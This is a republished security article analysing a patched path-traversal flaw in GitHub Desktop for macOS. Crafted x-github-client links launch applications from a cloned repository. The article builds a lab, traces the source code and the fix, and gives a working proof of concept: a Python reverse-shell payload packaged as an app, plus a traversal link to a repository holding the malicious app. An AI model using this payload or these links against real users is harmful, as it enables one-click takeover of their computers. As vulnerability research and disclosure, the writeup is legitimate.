GitHub Desktop macOS 路径遍历漏洞:利用 x-github-client 协议劫持用户
In the GitHub client for macOS up to version 1.3.4 beta 1, it was possible to trigger remot 2026-5-16 12:0:0 Author: hackmag.com(查看原文) 阅读量:2 收藏

In the GitHub client for macOS up to version 1.3.4 beta 1, it was possible to trigger remote execution of arbitrary commands simply by following a specially crafted link. In this article, I’ll explain what caused this vulnerability and how it can be exploited.

The bug was discovered by André Baptista during the H1-702 2018 event. The vulnerability lies in an improper handling mechanism for the custom URL scheme x-github-client://, which is used for communication with the application.

Test Environment

Since the vulnerability we’re looking at currently only works on macOS, all of the steps will be done there. I downloaded a VMware virtual machine image with macOS 10.14.1 Mojave from a well-known torrent tracker.

Information about the macOS virtual machine
Information about the macOS virtual machine

Now you need to install XCode and the Homebrew package manager.

$ /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"

The GitHub developers don’t provide downloads for older versions of the app, so you’ll need to build it from source. Clone the repository for the GitHub Desktop client and keep in mind that the last vulnerable version is 1.3.4 beta 0—that’s the one we’ll be using.

$ git clone --depth=1 -b release-1.3.4-beta0 https://github.com/desktop/desktop.git

The client is built on the Electron framework and written in TypeScript using React. This means we’ll need Node.js along with a bunch of libraries. To figure out how to compile the application, take a look at the appveyor.yml file. It’s the configuration file for the continuous integration (CI) service AppVeyor.

/desktop-release-1.3.4-beta0/appveyor.yml

install:

- cmd: regedit /s script\default-to-tls12-on-appveyor.reg

- ps: Install-Product node $env:nodejs_version $env:platform

- git submodule update --init --recursive

- yarn install --force

We already have Git installed; now we need to install the yarn package manager using brew.

$ brew install yarn

It already comes bundled with Node, but the included version is too new for our project.

/desktop-release-1.3.4-beta0/appveyor.yml

environment:

nodejs_version: '8.11'

Installing the Yarn package manager
Installing the Yarn package manager

So we’ll install a version from the 8.x branch.

$ brew install node@8

Then we switch Node.js to an older version using the link/unlink commands.

$ brew unlink node

$ brew link node@8 --force --overwrite

Downgrading Node from version 11.x to 8.x to allow the project to compile correctly
Downgrading Node from version 11.x to 8.x to allow the project to compile correctly

Everything is ready for compilation. First, run the commands from the install section one by one. This will pull in all the required dependencies and packages.

$ git submodule update --init --recursive

$ yarn install --force

Installing dependencies to build GitHub Desktop
Installing dependencies to build GitHub Desktop

After that, we move on to the commands from the build_script section.

/desktop-release-1.3.4-beta0/appveyor.yml

build_script:

- yarn lint

- yarn validate-changelog

- yarn build:prod

You can even skip the first two and just use the last one.

$ yarn build:prod

Successful build of the GitHub Desktop application on macOS
Successful build of the GitHub Desktop application on macOS

You now have the finished application in the /dist/GitHub Desktop-darwin-x64/GitHub Desktop.app directory. You can copy it to the Applications folder and run it.

“About window of the GitHub Desktop application for macOS”
“About window of the GitHub Desktop application for macOS”

Complete the initial setup and the lab environment is ready to go.

Vulnerability details

Let’s look at the source code. We’re interested in which protocols the application registers.

/desktop-release-1.3.4-beta0/script/build.ts

160: // macOS

161: appBundleId: getBundleID(),

162: appCategoryType: 'public.app-category.developer-tools',

163: osxSign: true,

164: protocols: [

165: {

166: name: getBundleID(),

167: schemes: [

168: isPublishableBuild

169: ? 'x-github-desktop-auth'

170: : 'x-github-desktop-dev-auth',

171: 'x-github-client',

172: 'github-mac',

173: ],

174: },

175: ],

The x-github-client scheme is particularly interesting. It lets you communicate with the application by sending various commands and requests, which are then processed according to its built‑in logic. Let’s see what methods can be used through this scheme.

/desktop-release-1.3.4-beta0/app/src/lib/parse-app-url.ts

073: export function parseAppURL(url: string): URLActionType {

074: const parsedURL = URL.parse(url, true)

075: const hostname = parsedURL.hostname

...

083: const actionName = hostname.toLowerCase()

084: if (actionName === 'oauth') {

...

104: if (actionName === 'openrepo') {

...

138: if (actionName === 'openlocalrepo') {

Let’s look at a live example of how a desktop app and browser interact. First, log in with the same user account in both the app and your browser. Then open any repository on GitHub — I’ll open my own, because I’m a narcissist.

Take a look at the “Clone” button — it can be expanded. In the dropdown you’ll see several options, including Open in desktop. If you open the developer console and inspect the link behind this button, you’ll see the custom URL scheme x-github-client that’s used to talk to the desktop application.

Link for opening the repository in the GitHub Desktop client
Link for opening the repository in the GitHub Desktop client

Using the openrepo method, let’s try to open the repository in the application. If it doesn’t exist yet, a pop-up window will suggest cloning it to your local machine. Go ahead and do that.

Cloning a repository in the GitHub Desktop application
Cloning a repository in the GitHub Desktop application

You’ll see the same icon when viewing individual files in the repository.

Link for opening a single repository file in the GitHub desktop app
Link for opening a single repository file in the GitHub desktop app

Here it already looks more interesting:

x-github-client://openRepo/https://github.com/allyshka/scripts?branch=master&filepath=pam_steal%2FREADME.md

The filepath parameter contains the file path relative to the repository. If the repository is already cloned and the file exists on disk, opening such a link will launch Finder in the corresponding folder.

/desktop-release-1.3.4-beta0/app/src/lib/parse-app-url.ts

104: if (actionName === 'openrepo') {

105: const probablyAURL = parsedPath

106:

107: // suffix the remote URL with `.git`, for backwards compatibility

108: const url = `${probablyAURL}.git`

109:

110: const pr = getQueryStringValue(query, 'pr')

111: const branch = getQueryStringValue(query, 'branch')

112: const filepath = getQueryStringValue(query, 'filepath')

...

129: return {

130: name: 'open-repository-from-url',

131: url,

132: branch,

133: pr,

134: filepath,

135: }

/desktop-release-1.3.4-beta0/app/src/lib/dispatcher/dispatcher.ts

841: case 'open-repository-from-url':

842: const { pr, url, branch } = action

...

846: const branchToClone = pr && branch ? null : branch || null

847: const repository = await this.openRepository(url, branchToClone)

848: if (repository) {

849: this.handleCloneInDesktopOptions(repository, action)

/desktop-release-1.3.4-beta0/app/src/lib/dispatcher/dispatcher.ts

928: private async handleCloneInDesktopOptions(

929: repository: Repository,

930: action: IOpenRepositoryFromURLAction

...

959: if (filepath != null) {

960: const fullPath = Path.join(repository.path, filepath)

961: // because Windows uses different path separators here

962: const normalized = Path.normalize(fullPath)

963: shell.showItemInFolder(normalized)

964: }

/desktop-release-1.3.4-beta0/app/src/lib/app-shell.ts

14: export const shell: IAppShell = {

...

29: showItemInFolder: path => {

30: ipcRenderer.send('show-item-in-folder', { path })

31: },

/desktop-release-1.3.4-beta0/app/src/main-process/main.ts

362: ipcMain.on(

363: 'show-item-in-folder',

364: (event: Electron.IpcMessageEvent, { path }: { path: string }) => {

365: Fs.stat(path, (err, stats) => {

...

371: if (stats.isDirectory()) {

372: openDirectorySafe(path)

373: } else {

374: shell.showItemInFolder(path)

375: }

376: })

377: }

“My motto is: ‘I see a path — I try path traversal.’ After playing around with the parameter a bit, we discover that this type of vulnerability really is present. For example, following a link like this will launch the calculator:”

x-github-client://openRepo/https://github.com/allyshka/scripts?branch=master&filepath=../../../../../../../../../../../Applications/Calculator.app

This happens because the stats.isDirectory() check passes on macOS, where applications are actually regular folders that the system treats in a special way. Then, inside the openDirectorySafe function, the Electron framework’s built‑in openExternal method is called, using the file:/// scheme together with the provided filepath as its arguments.

/desktop-release-1.3.4-beta0/app/src/main-process/shell.ts

2: import { shell } from 'electron'

...

13: export function openDirectorySafe(path: string) {

14: if (__DARWIN__) {

15: const directoryURL = Url.format({

16: pathname: path,

17: protocol: 'file:',

18: slashes: true,

19: })

20:

21: shell.openExternal(directoryURL)

22: } else {

23: shell.openItem(path)

24: }

25: }

Now let’s look at the patch commit with the fitting title “macOS is a special”.

Patches for the RCE vulnerability in the GitHub for macOS client
Patches for the RCE vulnerability in the GitHub for macOS client
/desktop-release-1.3.4-beta1/app/src/main-process/main.ts

371: if (!__DARWIN__ && stats.isDirectory()) {

372: openDirectorySafe(path)

The additional check now prevents the openExternal method from working on macOS.

To exploit this vulnerability with minimal user interaction — in a single click — the user must already have your repository cloned and must have the option enabled that, by default, allows opening x-github-client links in GitHub Desktop.

You can throw together a very simple payload as a Python script.

poc.py

import socket,subprocess,os;

os.system("open -a calculator.app")

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);

s.connect(("localhost",1337));

os.dup2(s.fileno(),0);

os.dup2(s.fileno(),1);

os.dup2(s.fileno(),2);

p=subprocess.call(["/bin/sh","-i"]);

Here we open the calculator for demonstration and establish a reverse shell on port 1337. Then we’ll compile the code into a standalone application using PyInstaller.

curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py

python get-pip.py --user

pip install pyinstaller --user

pyinstaller -w poc.py

mv dist/poc.app/ .

Next, create a repository and place your payload application there. Now you need to get the user to click a link that will clone it and execute the intended payload.

For this purpose, André Baptista created a handy HTML page. The link points to his repository, which contains the same application we compiled earlier.

x-github-client://openRepo/https://github.com/0xACB/github-desktop-poc?branch=master&filepath=osx/evil-app/rce.app

GitHub Desktop exploit
GitHub Desktop exploit

After clicking Clone, the exploit runs successfully.

Successful exploitation of the GitHub Desktop app on macOS
Successful exploitation of the GitHub Desktop app on macOS

Conclusion

So, we’ve broken down the vulnerability in the GitHub desktop app built on Electron and learned how to exploit it. You’ve seen how a click on a seemingly harmless link can lead to a complete system compromise. I’m sure there’s plenty more to dig up in this client’s code, so go for it — the bug bounty rewards are pretty solid. In the meantime, update regularly and don’t click on suspicious links.


文章来源: https://hackmag.com/security/github-macos-exploit
如有侵权请联系:admin#unsafe.sh